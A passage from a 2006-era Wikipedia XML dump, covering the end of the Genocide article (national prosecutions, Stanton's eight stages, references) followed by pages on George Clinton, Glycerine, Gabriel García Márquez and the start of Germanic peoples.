===Belgium===

In [[1993]] [[Belgium]] had adopted [[universal jurisdiction]] , allowing prosecution of genocide, committed by anybody in the world. The practice was widely applauded by many [[human rights]] groups, because it made legal action possible to perpetrators who did not have a direct link with Belgium, and who's victimes were not Belgian citizens or residents. Ten years later in [[2003]], Belgium repealed the law on universal jurisdiction. However, some cases which had already started continued. These incuded those concerning the Rwandan genocide, and complaints filed against the Chadian ex-President [[Hissène Habré]]. {{ref|Belgium}}

===France===

In December 2005 despite attempts by the French Defence Ministry to stop him, Jacques Baillet the prosecutor at the army tribunal, has begun an investigation into the role of  the French army during the genocide in Rwanda. The 2,500 member French peace keeping force, that was sent to Rwanda in 1994 by [[François Mitterrand]] who was the French President at the time, is accused not only of not stopping the genocide, but of actively participating in it. The allegations of participation are brought by two witnesses who the prosecutor thinks are credible enough to warrant an inquiry. Aurea Mukakalisa says she saw Hutu militia enter a camp set up by the French army and designated Tutsis who were forced to leave the camp by French soldiers. She says that she saw militia kill the Tutsis who left the camp and that some Tutsis were killed by French soldiers. A second witness Innocent Gisanura says that French soldiers remained in their vehicles and did not intervene in the killing of Tutsis by members of the Hutu militia in the [[Biserero]] forests.{{ref|times051226}}

===Netherlands===

Dutch law restricts prosecutions for genocide to its nationals. On [[December 23]] [[2005]] a Dutch court ruled in a case brought against Frans van Anraat for supplying chemicals to Iraq, that &quot;[it] thinks and considers legally and convincingly proven that the Kurdish population meets the requirement under the genocide conventions as an ethnic group. The court has no other conclusion that these attacks were committed with the intent to destroy the Kurdish population of Iraq.&quot; and because he supplied the chemicals before [[16 March]] 1988, the date of the [[Halabja poison gas attack]],  he is guilty of a war crime but not guilty of complicity in genocide.{{ref|indi_051224}}{{ref|cbc_051223}}

===Spain===

Under Spanish law, judges have the right to try foreigners suspected of genocidal acts that have taken place outside Spain. In June 2003 Spanish Judge Baltazar Garzon jailed [[Ricardo Miguel Cavallo]], (also known as Miguel Angel Cavallo), a former [[Argentina|Argentine]] naval officer, extradited from Mexico to Spain pending his trial on charges of genocide and terrorism relating to the years of Argentina's military dictatorship.{{ref|NYT_30062003}} {{ref|bbc_26092005}} 

On [[11 January]] [[2006]] it was reported that the Spanish High Court will investigate whether seven former Chinese officials, including the former President of China [[Jiang Zemin]] and former Prime Minister [[Li Peng]] participated in a genocide in [[Tibet]]. This investigation follows a Spanish Constitutional Court ([[26 September]] [[2005]]) ruling that Spanish courts could try genocide cases even if they did not involve Spanish nationals. {{ref|spain_jan11}}

===United Kingdom===

The United Kingdom has incorporated the [[International Criminal Court Act 2001|International Criminal Court Act]] into domestic law. It is not retroactive so it only applies to events after May 2001 and genocide charges can only be filed against British nationals and residents. According to Peter Carter [[Queen's Counsel|QC]], chairman of the [[Bar council#Bar Councils in the United Kingdom|Bar's]] human rights committee{{ref|bhrc}} &quot;It means that British mercenaries who support regimes that commit war crimes can expect prosecution&quot;.{{ref label|indi_051224|5|a}}

==Genocide in history==
''Main article: [[Genocides in history]]''

Genocide appears to be a regular and widespread event in the history of civilization. The phrase &quot;never again&quot; often used in relation to genocide has been contradicted up to the present day.

Determining which historical events constitute genocide and which are merely criminal or inhuman behavior is not a clear-cut matter. Furthermore, in nearly every case where accusations of genocide have circulated, partisans of various sides have fiercely disputed the interpretation and details of the event, often to the point of promoting wildly different versions of the facts. An accusation of genocide is certainly not taken lightly and will almost always be controversial. [[Historical revisionism (negationism)|Revisionist attempts]] to deny genocides is, in some countries, penally repressed.

==Stages of genocide and efforts to prevent it==
According to President of [http://www.genocidewatch.org/eightstages.htm Genocide Watch] [[Gregory Stanton]], genocide develops in eight stages that are &quot;predictable but not inexorable&quot;:

{| class=&quot;wikitable&quot;
! Stage
! Characteristics
! Preventive measures
|-
! 1.&lt;br&gt;Classification
| People are divided into &quot;us and them&quot;.
| &quot;The main preventive measure at this early stage is to develop universalistic institutions that [[Racial integration|transcend]]... divisions.&quot;
|-
! 2.&lt;br&gt;Symbolization
| &quot;When combined with hatred, symbols may be forced upon unwilling members of [[pariah]] groups...&quot;
| &quot;To combat symbolization, hate symbols can be legally forbidden… as can [[hate speech]]&quot;.
|-
! 3.&lt;br&gt;Dehumanization
| &quot;Dehumanization overcomes the normal human revulsion against murder.&quot;
| &quot;Hate propaganda should be banned, [[hate crime]]s and atrocities should be promptly punished.&quot;
|-
! 4.&lt;br&gt;Organization
| &quot;Genocide is always organized... Special army units or [[militia]]s are often trained and armed...&quot;
| &quot;To combat this stage, membership in these militias should be outlawed.&quot;
|-
! 5.&lt;br&gt;Polarization
| &quot;Hate groups broadcast polarizing [[propaganda]]...&quot;
| &quot;Prevention may mean security protection for moderate leaders or assistance to [[human rights]] groups...&quot;
|-
! 6.&lt;br&gt;Identification
| &quot;Victims are identified and separated out because of their ethnic or religious identity...&quot;
| &quot;At this stage, a ''Genocide Alert'' must be called...&quot;
|-
! 7.&lt;br&gt;Extermination
| &quot;It is &quot;extermination&quot; to the killers because they do not believe their victims to be fully human.&quot;
| &quot;At this stage, only rapid and overwhelming armed intervention can stop genocide. Real safe areas or refugee escape corridors should be established with heavily armed international protection.&quot;
|-
! 8.&lt;br&gt;Denial
| &quot;The perpetrators... deny that they committed any crimes...&quot;
| &quot;The response to denial is punishment by an international tribunal or national courts.&quot;
|}

==See also==
*[[Autogenocide]]
*[[Crime against humanity]]
*[[Cultural genocide]]
*[[Historical revisionism (negationism)|Revisionist attempts to deny specific genocides]]
*[[International Criminal Court]] (since 2002)
*[[Democide]]
*[[International Association of Genocide Scholars]]
*[[Mass murder]]
*[[Universal jurisdiction]]
*[[Ethnic cleansing]]
*[[War crime]]

==Bibliography==
* [[Frank Chalk]] and [[Kurt Jonassohn]], &lt;cite&gt;The History and Sociology of Genocide: Analyses and Case Studies&lt;/cite&gt;, Yale University Press, 1990
* [[Israel W. Charny]], &lt;cite&gt;Encyclopedia of Genocide&lt;/cite&gt;, ABC-Clio Inc, 720 pages, ISBN 0874369282 (December 1, 1999)
* [[Barbara Harff]], &lt;cite&gt;Early Warning of Communal Conflict and Genocide: Linking Empirical Research to International Responses&lt;/cite&gt;, Westview Press, August 2003, paperback, 256 pages, ISBN 0813398401
* [[Samantha Power]], &lt;cite&gt;A Problem from Hell: America and the Age of Genocide&lt;/cite&gt; Harper Perennial (2003) paperback, 656 pages ISBN 0060541644
* [[R.J. Rummel]],  &lt;cite&gt;Death By Government&lt;/cite&gt;, Transaction Publishers, 496 pages, ISBN 1560009276 (March 1997)
* [[Lyal S. Sunga]], &lt;cite&gt;The Emerging System of International Criminal Law: Developments in Codification and Implementation &lt;/cite&gt;, Kluwer (1997) 508 p. (ISBN: 9041104720)
* [[Lyal S. Sunga]], &lt;cite&gt;Individual Responsibility in International Law for Serious Human Rights Violations, Nijhoff &lt;/cite&gt;(1992) 252 p. (ISBN: 0792314530)
* [[Samuel Totten]], [[William S. Parsons]], and [[Israel W. Charny]], &lt;cite&gt; Century of Genocide: Critical Essays and Eyewitness Accounts, 2nd edition&lt;/cite&gt;, Routledge, 2004
* [[Benjamin A. Valentino]], &lt;cite&gt;Final Solutions: Mass Killing and Genocide in the 20th Century&lt;/cite&gt;, Cornell University Press, 2004

==Notes==
&lt;!--wikipedia:footnote--&gt;
&lt;!-------------------Coining of the term genocide------------&gt;
#{{note|AxisRule1944-1}} Raphael Lemkin, [http://www.preventgenocide.org/lemkin/AxisRule1944-1.htm Axis Rule in Occupied Europe] (Wash., D.C.: Carnegie Endowment for International Peace, 1944), p. 79.
&lt;!-------------------------Rummel-----------------------------------------------&gt;
# {{note|Rummel}}[http://www.hawaii.edu/powerkills/GENOCIDE.HTM Domocide versus genocide; which is what?]
&lt;!-------------------Prosecution of genocide------------&gt;
#{{note|treaty1gen}} [http://www.unhchr.ch/html/menu3/b/treaty1gen.htm United Nations Treaty Collection (As of 9 October 2001): Convention on the Prevention and Punishment of the Crime of Genocide] on the web site of the [http://www.ohchr.org/english/ Office of the United Nations High Commissioner for Human Rights]
&lt;!-------International prosecution of genocide--------&gt;
#[http://www.amicc.org/docs/U.S.%20statement%20on%20ICC%20draft%20resolution_23Nov051.pdf Statement by  Carolyn Willson, Minister Counselor for International Legal Affairs, on the Report of the ICC, in the UN General Assembyy](PDF) [[November 23]] 2005
&lt;!---------------------------------Rwanda-------------&gt;
# {{note|rwanda}} These figures need revising they are from the [[ICTR]] page which says see [http://www.ictr.org www.ictr.org]
&lt;!---------------------------------Belgium-----------&gt;
#{{note|Belgium}}[http://www.hrw.org/press/2003/08/belgium080103.htm Belgium: Universal Jurisdiction Law Repealed] web page on [[Human Rights Watch]] [[August 1]], 2003
&lt;!---------------------------------France------------&gt;
#{{note|times051226}} [http://www.timesonline.co.uk/article/0,,3-1959137,00.html French Army faces inquiry on genocide in Rwanda] by Adam Sage in [[The Times]] [[26 December]] [[2005]]
&lt;!---------------------------------Netherlands------------&gt;
#{{note|indi_051224}} {{note label|indi_05122|5|a}} [http://news.independent.co.uk/europe/article334972.ece Dutch court says gassing of Iraqi Kurds was 'genocide'] by Anne Penketh and Robert Verkaik in [[The Independent]] [[December 24]] [[2005]]
#{{note|cbc_051223}}[http://www.cbc.ca/story/world/national/2005/12/23/kurds-sentence051223.html Dutch man sentenced for role in gassing death of Kurds] [[CBC]] [[December 23]] [[2005]]
&lt;!---------------------------------Spain-----------------&gt;
#{{note|bbc_26092005}} [http://news.bbc.co.uk/1/hi/world/europe/3085482.stm  Profile: Judge Baltasar Garzon] [[BBC]] [[26 September]] [[2005]]
#{{note|NYT_30062003}} [http://select.nytimes.com/gst/abstract.html?res=F20A13FD3F5E0C738FDDAF0894DB404482 Spanish Judge Sends Argentine to Prison on Genocide Charge] by Emma Daly [[New York Times]]  [[30 June]] 2003.
#{{note|spain_jan11}}Spanish courts to investigate if a genocide took place in Tibet.
#* &quot;Spain to investigate 'genocide' in Tibet&quot; [[The Independent]] in the section &quot;European News in brief&quot; on Wednesday [[11 January]] [[2006]] Page 19
#* [http://www.nzherald.co.nz/section/story.cfm?c_id=2&amp;ObjectID=10363286 Spanish court to investigate Tibet massacre case]  Reuters report in the [[New Zealand Herald]] [[12 January]] 2006
&lt;!----------------------UK-----------------------------------&gt;
#{{note|bhrc}} [http://www.barhumanrights.org.uk/ Bar Human Rights Committee] &quot;is the international human rights arm of the [http://www.barcouncil.org.uk/ Bar of England and Wales]. It is an independent body primarily concerned with the protection of the rights of advocates and judges around the world.&quot;

==External links==
'''Overviews'''
* [http://news.bbc.co.uk/1/hi/world/europe/1701562.stm BBC on defining genocide]
*[http://www.ushmm.org/conscience Committee on Conscience of the United States Holocaust Memorial Museum]; Responding to Threats of Genocide
*[http://www.law-ref.org/GENOCIDE/index.html Convention on the Prevention and Punishment of the Crime of Genocide at Law-Ref.org] - fully indexed and crosslinked with other documents
*[http://www.warcrimes.info/ Documents and Resources on War, War Crimes and Genocide]
*[http://www.genocideinterventionfund.org/ Genocide Intervention Network]
*[http://www.genocidewatch.org/eightstages.htm Genocide Watch] stages of genocide
*[http://www.isg-iags.org/ International Association of Genocide Scholars]
*[http://www.neveragaininternational.org/ Never Again] International youth genocide prevention organization; organized the 2004 Rwanda Forum at the Imperial War Museum in London.
*[http://www.neveragaininternational.org/wiki Never Again Wiki]
*[http://preventgenocide.org Prevent Genocide International]

'''Darfur'''
*[http://www.africaaction.org/index.php Africa Action] Africa advocacy organization seeking 400,000 signatures on petition demanding US action to stop genocide in Darfur
*[http://www.DarfurFast.org International Solidarity Fast for Darfur]
*[http://www.ryanspencerreed.com/ Photographs from the Sudan genocide]
*[http://www.stopgenocidenow.org Stop Genocide Now] Global community to change the way the world responds to genocide&gt;
*[http://www.STANDarfur.org/ Students Taking Action Now: Darfur] Student movement to end the genocide in Darfur with over 75 chapters in the US and Canada
* [http://www.ushmm.org/conscience/podcasts United States Holocaust Memorial Museum: Voices on Genocide Prevention Podcast] Stay up-to-date on the crisis in Darfur and the continuing challenge or preventing and responding to genocide

'''Research Programs'''
* [http://www.chgs.umn.edu/ Center for Holocaust and Genocide Studies, University of Minnesota]
* [http://www.yale.edu/gsp/ Genocide Studies Program, Yale University]
* [http://migs.concordia.ca/ Montreal Institute for Genocide Studies, Concordia University] 

'''Other'''
*[http://www.genocide.org.uk/ Genocide of Tamils in Sri Lanka]
*[http://www.icssag.com/ International Campaign to Stop South African Genocide]
*[http://www.tamilnation.org/indictment/genocide83/index.htm Genocide'83 of Tamils in Sri Lanka]


&lt;!-- Categorization --&gt;
[[Category:Crimes]]
[[Category:International_criminal_law]]
[[Category:Genocides|*]]


&lt;!-- Localization --&gt;

[[bs:Genocid]]
[[ca:Genocidi]]
[[cs:Genocida]]
[[de:Völkermord]]
[[et:Genotsiid]]
[[es:Genocidio]]
[[eo:Genocido]]
[[fr:Génocide]]
[[hr:Genocid]]
[[id:Genosida]]
[[it:Genocidio]]
[[he:רצח עם]]
[[lt:Genocidas]]
[[hu:Népirtás]]
[[nl:Genocide]]
[[ja:ジェノサイド]]
[[pl:Ludobójstwo]]
[[pt:Genocídio]]
[[ru:Геноцид]]
[[sq:Gjenocidi]]
[[simple:Genocide]]
[[sl:Genocid]]
[[sr:Геноцид]]
[[fi:Kansanmurha]]
[[sv:Folkmord]]
[[tr:Soykırım]]
[[uk:Геноцид]]
[[zh:种族灭绝]]</text>
    </revision>
  </page>
  <page>
    <title>George Clinton</title>
    <id>12442</id>
    <revision>
      <id>40308028</id>
      <timestamp>2006-02-19T18:34:45Z</timestamp>
      <contributor>
        <ip>84.137.192.187</ip>
      </contributor>
      <text xml:space="preserve">'''George Clinton''' may refer to:

*[[George Clinton (royal governor)]] (c. 1686&amp;ndash;1761), British colonial governor of New York
*[[George Clinton (vice president)]] (1739&amp;ndash;1812), US Vice President and Governor of New York
*[[George Clinton (congressman)]] (1771&amp;ndash;1809), congressman son of Governor and Vice President George Clinton
*[[George Clinton (funk musician)]] (born 1941), an American funk musician
*[[George S. Clinton]] (born 1947), another American musician who made several film soundtracks

{{hndis}}

[[de:George Clinton]]</text>
    </revision>
  </page>
  <page>
    <title>Glycerine</title>
    <id>12444</id>
    <revision>
      <id>15910130</id>
      <timestamp>2005-02-07T22:51:06Z</timestamp>
      <contributor>
        <username>Cacycle</username>
        <id>83784</id>
      </contributor>
      <comment>redirect to [[glycerin]]</comment>
      <text xml:space="preserve">#redirect [[glycerin]]</text>
    </revision>
  </page>
  <page>
    <title>Gabriel García Márquez</title>
    <id>12445</id>
    <revision>
      <id>40782610</id>
      <timestamp>2006-02-23T00:00:40Z</timestamp>
      <contributor>
        <username>Keithlaw</username>
        <id>171631</id>
      </contributor>
      <comment>/* Short stories, novellas, and collections */ revert - the English title is &quot;Melancholy&quot;</comment>
      <text xml:space="preserve">[[Image:Marquez.gif|thumb|150px|Gabriel García Márquez]]

'''Gabriel José García Márquez''' (born [[March 6]], [[1928]]) is a [[Colombia]]n [[novel|novelist]], [[journalist]], publisher, and political activist.  Born in the town of [[Aracataca]] in the department of [[Magdalena Department|Magdalena]], he has lived mostly in [[Mexico]] and [[Europe]] and currently spends much of his time in [[Mexico City]].

García Márquez is widely considered to be the leading exponent of the literary style known as [[magical realism]], and while much of his writing is strongly emblematic of this style, it cannot be categorized thus in its entirety. 

García Márquez began his career as a reporter for the [[Bogotá]] daily ''[[El Espectador]]'', and later worked as a [[foreign correspondent]] in [[Rome]], [[Paris]], [[Barcelona]], [[Caracas]], and [[New York City]].

His first major work was ''[[The Story of a Shipwrecked Sailor]]'' (''Relato de un náufrago''), which he wrote as a newspaper series in [[1955]]. The book told the true story of a shipwreck by exposing the fact that the existence of contraband aboard a Colombian Navy vessel had contributed to the tragedy due to overweight. This resulted in public controversy, as it discredited the official account of the events, which had blamed a storm for the shipwreck and glorified the surviving sailor. This led to the beginning of his foreign correspondence, as García Márquez became a sort of [[persona non grata]] for the government of General [[Gustavo Rojas Pinilla]]. It was later published in [[1970]] and taken by many to have been a novel.  

Several of his works have been classified as both [[fiction]] and [[non-fiction]], notably ''[[Chronicle of a Death Foretold]]'' (''Crónica de una muerte anunciada'') ([[1981]]), which tells the tale of revenge killing recorded in the newspapers, and ''[[Love in the Time of Cholera]]'' (''El amor en los tiempos del cólera'') ([[1985]]), which is loosely based on the story of his parents' courtship.  Many of his works, including those two, take place in the &quot;García Márquez universe&quot;, in which characters, places, and events re-appear from book to book.  

His most famous novel, ''[[One Hundred Years of Solitude]]'' (''Cien años de soledad'') ([[1967]]; [[English language|English]] [[translation]] by [[Gregory Rabassa]] [[1970]]),  has sold more than ten million copies. It depicts the life of an isolated South American village where strange occurrences are portrayed as commonplace. It certainly has elements of the magically real, but it is much more than that, being also a philosophical reflection on the nature of time and isolation. Some critics say it lacks the folkloric content which is a prerequisite of magic realism, so it cannot be classified as such.  However, not everything strange and unexplained is folkloric; some of it is simply ordinary life. The novel's value lies not only in its innovative use of [[Magic realism|magical realism]], but with its beautiful use of the Spanish language. It is an epic piece of writing that spans many decades in the life of a complex and large family.

A major undercurrent in the writings of García Márquez is the study of old age and death. Many of his works contain depiction of old age, death and funerals. His vision into this world of degeneration is marvellously intuitive. Still, the power of life and love to reign over is also never understated.

García Márquez won the [[Rómulo Gallegos Prize]] in 1972 for ''One Hundred Years of Solitude''. He was awarded the [[Nobel Prize for literature]] in [[1982]], with his short stories and novels cited as the basis for the award.[http://nobelprize.org/literature/laureates/1982/] 

In [[1999]], he was diagnosed with [[lymphatic cancer]]. This event incited him to start writing his memoirs. In [[2000]], his death was [[List of premature obituaries|incorrectly reported]] by Peruvian daily newspaper ''[[La Republica]]''.

In [[2002]], he published the memoir ''Vivir para contarla'', the first volume of a projected three-volume autobiography. The book was a bestseller in the Spanish-speaking world. [[Edith Grossman]]'s English translation, ''Living to Tell the Tale'', was published in November 2003 and has become another bestseller. On [[September 10]], [[2004]], the Bogotá daily ''[[El Tiempo]]'' announced a new novel, ''Memoria de mis putas tristes'', a love story that was published the following [[October 2004|October]] with a first print run of one million copies.

García Márquez is also noted for his friendship with, and enthusiasm for, [[Fidel Castro]] and has previously expressed sympathy for some [[Latin America]]n revolutionary groups, especially during the 1960s and 1970s. He has also been critical of the political situation in Colombia. Despite accusations made by members of the Colombian government decades ago, there is no evidence that he has openly supported guerrilla groups such as the [[Revolutionary Armed Forces of Colombia|FARC]] and [[National Liberation Army (Colombia)|ELN]] that operate in Colombia. Since the early [[1980s]], García Márquez has occasionally acted as a low profile [[facilitator]], usually in a role that he has  shared with Fidel Castro, in several of the attempts at negotiations between the government and the guerrillas.

He is the father of television and film director [[Rodrigo Garcia]].

==Bibliography==
===Novels===
*[[1962]] &amp;ndash; ''[[In Evil Hour]] (La mala hora)'' 
*[[1967]] &amp;ndash; ''[[One Hundred Years of Solitude]] (Cien años de soledad)''
*[[1975]] &amp;ndash; ''[[The Autumn of the Patriarch]] (El otoño del patriarca)''
*[[1981]] &amp;ndash; ''[[Chronicle of a Death Foretold]] (Crónica de una muerte anunciada)'' 
*[[1985]] &amp;ndash; ''[[Love in the Time of Cholera]] (El amor en los tiempos del cólera'')
*[[1989]] &amp;ndash; ''[[The General in his Labyrinth]] (El general en su laberinto)'' 
*[[1994]] &amp;ndash; ''[[Of Love and Other Demons]] (Del amor y otros demonios)''

===Short stories, novellas, and collections===
*[[1947]] &amp;ndash; ''[[Eyes of a Blue Dog]] (Ojos de perro azul)''
*[[1955]] &amp;ndash; ''[[Leaf Storm]] (La hojarasca)''
*[[1961]] &amp;ndash; ''[[No One Writes to the Colonel]] (El coronel no tiene quien le escriba)''
*[[1962]] &amp;ndash; ''[[Big Mamas Funeral|Big Mama's Funeral]] (Los funerales de la Mamá Grande)''
*[[1978]] &amp;ndash; ''[[The Incredible and Sad Tale of Innocent Eréndira and her Heartless Grandmother]] (La increíble y triste historia de la cándida Eréndira y de su abuela desalmada)'' 
*[[1992]] &amp;ndash; ''[[Strange Pilgrims]] (Doce cuentos peregrinos)''
*[[1995]] &amp;ndash; ''[[The Handsomest Drowned Man in the World]]''
*[[1998]] &amp;ndash; ''[[A Country for Children]]''
*[[2004]] &amp;ndash; ''[[Memories of My Melancholy Whores]] (Memoria de mis putas tristes)''

===Nonfiction===
*[[1970]] &amp;ndash; ''[[The Story of a Shipwrecked Sailor]] (Relato de un náufrago)''
*[[1986]] &amp;ndash; ''[[Clandestine in Chile:The Adventures of Miguel Littin]] (Las Aventuras de Miguel Littín Clandestino en Chile)''
*[[1996]] &amp;ndash; ''[[News of a Kidnapping]] (Noticia de un secuestro)'' 
*[[2002]] &amp;ndash; ''[[Living to Tell the Tale]] (Vivir para contarla)''

==External links==
* [http://www.themodernword.com/gabo/ Gabriel García Márquez pages]
* [http://nobelprize.org/literature/laureates/1982/ Nobel hub]
* [http://he.shvoong.com/books/autobiography/57058-living-tell-tale/ Summary of &quot;Living to Tell the Tale&quot;]

{{start box}}
{{succession box | before = [[Elias Canetti]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years = 1982 | after = [[William Golding]]
}}
{{end box}}

[[Category:1928 births|Garcia Marquez, Gabriel]]
[[Category:Colombian writers|Garcia Marquez, Gabriel]]
[[Category:Fantasy writers|Garcia Marquez, Gabriel]]
[[Category:Nobel Prize in Literature winners|Garcia Marquez, Gabriel]]
[[Category:Colombian novelists|Garcia Marquez, Gabriel]]
[[Category:ISBN needed]]
[[Category:Premature obituaries|Garcia Marquez, Gabriel]]

&lt;!-- interwiki --&gt;

[[Category:Living people|Garcia Marquez, Gabriel]]

[[ar:جابرييل جارسيا ماركيز]]
[[bg:Габриел Гарсия Маркес]]
[[ca:Gabriel García Márquez]]
[[cs:Gabriel García Márquez]]
[[da:Gabriel García Márquez]]
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[[eo:Gabriel GARCÍA MÁRQUEZ]]
[[fr:Gabriel García Márquez]]
[[ko:가브리엘 가르시아 마르케스]]
[[hr:Gabriel García Márquez]]
[[ilo:Gabriel García Márquez]]
[[is:Gabriel García Márquez]]
[[it:Gabriel García Márquez]]
[[he:גבריאל גארסיה מארקס]]
[[hu:Gabriel García Márquez]]
[[nl:Gabriel García Márquez]]
[[ja:ガブリエル・ガルシア＝マルケス]]
[[no:Gabriel García Márquez]]
[[nn:Gabriel García Márquez]]
[[pl:Gabriel García Márquez]]
[[pt:Gabriel García Márquez]]
[[ru:Гарсиа Маркес, Габриэль]]
[[sk:Gabriel García Márquez]]
[[fi:Gabriel García Márquez]]
[[sv:Gabriel García Márquez]]
[[vi:Gabriel García Márquez]]
[[tr:Gabriel García Márquez]]
[[zh:加西亚·马尔克斯]]</text>
    </revision>
  </page>
  <page>
    <title>Germanic peoples</title>
    <id>12446</id>
    <revision>
      <id>41988629</id>
      <timestamp>2006-03-03T01:48:05Z</timestamp>
      <contributor>
        <ip>65.11.73.155</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{portalpar|Ancient Germanic culture}}

The '''Germanic''' (also, '''Teutonic''')  peoples are the nations speaking [[Germanic language]]s, idioms descended from [[Proto-Germanic]] (spoken during the final centuries BC, the [[Pre-Roman Iron Age]] of Northern Europe).

==Etymology of ''Germani''==
[[Image:Ardre Odin Sleipnir.jpg|thumb|220px|[[Odin]] riding on [[Sleipnir]] ([[Ardre image stone]], 8th century).]]

Latin ''Germani'' is first used by [[Julius Caesar]], and is thought to be a loan from the [[Celtic languages|Celtic]] name for the Germanic tribes: the word is an [[exonym]]. There is also a Latin adjective ''germanus'' (from ''germen'', &quot;seed&quot; or &quot;offshoot&quot;), which has the sense of &quot;related&quot; or &quot;kindred&quot; and whence derives the [[Portuguese language|Portuguese]] ''irmão'' and the [[Spanish language|Spanish]] ''hermano'', &quot;brother&quot;.  If the proper name ''Germani'' derives from this word, it may refer to the Roman experience of the Germanic tribes as allies of the Celts.

Another possible derivation is the one proffered by the ''[[Oxford Dictionary of English Etymology]]'' (1966), which relates the name to Old Irish ''gair'', &quot;neighbor&quot;, which actually means &quot;near&quot;. The Welsh is ''ger''.

McBain's ''An Etymological Dictionary of the Gaelic Language'' 
relates the word to Irish ''gearr'', &quot;cut, short&quot; (a short distance) and states the [[Proto-Celtic language|Proto-Celtic]] root to be *gerso-s, further related to ancient Greek ''chereion'', &quot;inferior&quot; and English ''gash''. Here the etymological trail becomes more obscured. English ''gash'' leads to the Greek word ''character'', which is an engraving for an identity sign of some sort. There is no clear root for this word. It could be an [[Indo-European]] root, ''*khar-, *kher-, *ghar-, *gher-'', &quot;cut&quot;, 
from which also [[Hittite]] ''kar-'', &quot;cut&quot;. Or, it could be a [[pre-Indo-European]] root, related perhaps to [[Egyptian language|Egyptian]] ''kha-'', &quot;cut&quot;, or the Indo-European root could derive from the pre-Indo-European root.

Apparently, the Germanic tribes did not have a self name that included all Germanic-speaking people but excluded all non-Germanic people, except for generic ''þiuda-'' &quot;people&quot;, while non-Germanic peoples (primarily Celtic and Roman) were called *''[[walha]]-'' (This word lives forth in names such as [[Wales]], [[Welsh]], [[Cornwall]], [[Walloons]], [[Vlachs]] etc.). The adjective *''þiudiskaz'', referring to the language, continued  in [[German language|German]] ''[[Deutsch]]'', English  ''[[Dutch (disambiguation)|Dutch]]'',  [[Dutch language|Dutch]] ''Dietsch'', was not introduced until the 9th century, originally designating the language of the people in contrast to the Latin language. From ca. [[875]], Latin writers refer to the German language as ''teutonicus''.

In English, ''German'' is first attested in [[1520]], replacing  earlier use of ''[[Alamanni|Almain]]'' or ''[[Dutch]]''.

== Classification ==
[[Image:Upplands Runinskrift 871 2.jpg|thumb|250px|Detail of the [[Uppland Rune Inscription 871]] (12th century)]]

The concept of &quot;Germanic&quot; as a distinct [[ethnic]] identity was hinted at by the early Greek geographer [[Strabo]] [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.01.0198;query=section%3D%2341;chunk=section;layout=;loc=7.1.1], who distinguished a [[barbarian]] group in northern Europe similar to, but not part of, the [[Celts]]. [[Posidonius]], to our knowledge, is the first to have used the name, around [[80 BC]], in his lost 30th book. Our knowledge of this is based on the 4th book of [[Athenaeus]], who in ca. AD [[190]] quotes Posidonius as saying that &quot;The Germani at noon serve roast meat with milk, and drink their wine undiluted&quot;.

By the [[1st century]] A.D., the writings of [[Caesar]], [[Gaius Cornelius Tacitus|Tacitus]] and other [[Roman era]] writers indicate a division of Germanic-speaking peoples into tribal groupings centred on:
* the rivers [[Oder]] and [[Vistula]] ([[Poland]]) ([[East Germanic tribes]]),
* the lower [[Rhine]] river ([[Istvaeones]]), 
* the river [[Elbe]] ([[Irminones]]),  
* [[Jutland]] and the Danish islands ([[Ingvaeones]]).

The Sons of [[Mannus]] [[Istvaeones]], [[Irminones]], and [[Ingvaeones]] are collectively called [[West Germanic tribes]]. In addition to this those Germanic people who remained in Scandinavia are referred to as [[North Germanic]]. These groups all developed separate dialects, and literature styles with little regard for conventional punctuation, the basis for the differences among [[Germanic languages]] down to the present day. 

The division of peoples into West Germanic, East Germanic, and North Germanic is a modern linguistic classification. Many Greek scholars only classified [[Celt]]s and [[Scythia|Scyths]] in the Northwest and Northeast of the Mediterranean and this classification was widely maintained in Greek literature until Late Antiquity. Latin-Greek ethnographers ([[Tacitus]], [[Pliny the Elder]], [[Ptolemy]], and [[Strabo]]) mentioned in the first two centuries AD the names of peoples they classified as Germanic along the Elbe, the Rhine, and the Danube, the Vistula and on the Baltic Sea. Tacitus mentioned 40, Ptolemy 69 peoples. Classical ethnography applied the name ''[[Suebi]]'' to many tribes in the first century. It appeared that this native name had all but replaced the foreign name Germanic. After the [[Marcomannic]] wars the Gothic name steadily gained importance. Some of the ethnic names mentioned by the ethnographers of the first two centuries AD on the shores of the Oder and the Vistula ([[Gutones]], [[Vandali]]) reappear from the 3rd century on in the area of the lower Danube and north of the Carpathian Mountains.  For the end of the 5th century the Gothic name can be used - according to the historical sources - for such different peoples like the [[Goths]] in Gaul, Iberia and Italy, the [[Vandals]] in Africa, the [[Gepids]] along the Tisza and the Danube, the [[Rugians]], [[Sciri]] and [[Burgundians]], even the Iranian [[Alans]]. These peoples were classified as Scyths and often deducted from the ancient [[Getae]] (most important: Cassiodor/Jordanes, Getica approx. 550 AD).

=== The concept of ''[[Volk]]'' ===
In the [[1990s]] and the [[2000s]] there has been debate about exactly what ''&quot;tribe&quot;'' or ''&quot;people&quot;'' meant to these groups, whose fluidity and willingness to sometimes blend is seen while at the same time forced mergers as a result of war were taking place and the tribe as it had been known vanished. The late classical sources are especially clear in the matter of the blended nature of the [[Alamanni]].

The idea of a unified German people, or ''[[Volk]],'' was expressed openly in print by [[19th century]] [[Ethnic nationalism|Ethnic Nationalist]] writers and thinkers after the [[Napoleonic Wars]]. Such an identity, however, had existed more implicitly since the [[Middle Ages]], helping to fuel the [[Protestant Reformation]], when many Germanic lands pulled away religiously and politically from the [[Roman Catholic Church]].

==Culture==
[[Image:Frankish.grave.goods.jpg|thumb|right|250px|Gravegoods from various North French and Rhineland sites, up to the 6th century ([[British Museum]], London)]]

See [[Germanic mythology]], [[Germanic paganism]], [[Migration Period art]]
{{stubsection}}

The Germanic tribes were each politically independent, under a hereditary king (see [[Germanic king]]). The kings appear to have claimed descendancy from mythical founders of the tribes, the name of some of which is preserved:
*[[Angul]] &amp;mdash; [[Angles]] (the [[Kings of Mercia]], according to the [[Anglo-Saxon Chronicle]], other Anglo-Saxon dynasties are derived from other descendents of [[Woden]])
*[[Aurvandil]] &amp;mdash; [[Vandals]] (uncertain)
*[[Burgundus]] &amp;mdash; [[Burgundians]]
*[[Cibidus]] &amp;mdash; [[Cibidi]]
*[[Dan (king)|Dan]] &amp;mdash; [[Danes]]
*[[Gothus]] &amp;mdash; [[Goths]]
*[[Ingve]] &amp;mdash; [[Yngling]]s
*[[Irmin]] &amp;mdash; [[Irminones]]
*[[Longobardus]] &amp;mdash; [[Lombards]]
